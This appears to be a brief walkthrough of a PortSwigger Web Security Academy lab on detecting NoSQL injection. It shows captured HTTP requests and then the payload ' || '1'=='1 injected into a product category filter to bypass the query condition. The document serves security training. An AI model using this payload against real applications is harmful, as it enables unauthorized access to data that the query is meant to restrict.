Skip to content

Port Swigger Detecting NoSQL injection

Detecting NoSQL injection

Solution

Open the website: https://0abd00dc03b4babe828c7e32003100fc.web-security-academy.net/

https://0abd00dc03b4babe828c7e32003100fc.web-security-academy.net/
---
GET /academyLabHeader HTTP/2
Host: 0abd00dc03b4babe828c7e32003100fc.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Websocket-Version: 13
Origin: https://0abd00dc03b4babe828c7e32003100fc.web-security-academy.net
Sec-Websocket-Key: ojqbPjgMzVWic9Jx5lpQPg==
Connection: keep-alive, Upgrade
Cookie: session=I4uuxQQ0gC745oBYT86h6ni83CSVV1At
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

Open website: https://0abd00dc03b4babe828c7e32003100fc.web-security-academy.net/filter?category=Tech+gifts

https://0abd00dc03b4babe828c7e32003100fc.web-security-academy.net/filter?category=Tech+gifts
---
GET /filter?category=Tech+gifts HTTP/2
Host: 0abd00dc03b4babe828c7e32003100fc.web-security-academy.net
Cookie: session=I4uuxQQ0gC745oBYT86h6ni83CSVV1At
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0abd00dc03b4babe828c7e32003100fc.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Put payload

Payload: ' || '1'=='1
---
https://0abd00dc03b4babe828c7e32003100fc.web-security-academy.net/filter?category=Tech+gifts' || '1'=='1
---
GET /filter?category=Tech+gifts%27%20||%20%271%27==%271 HTTP/2
Host: 0abd00dc03b4babe828c7e32003100fc.web-security-academy.net
Cookie: session=I4uuxQQ0gC745oBYT86h6ni83CSVV1At
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Solved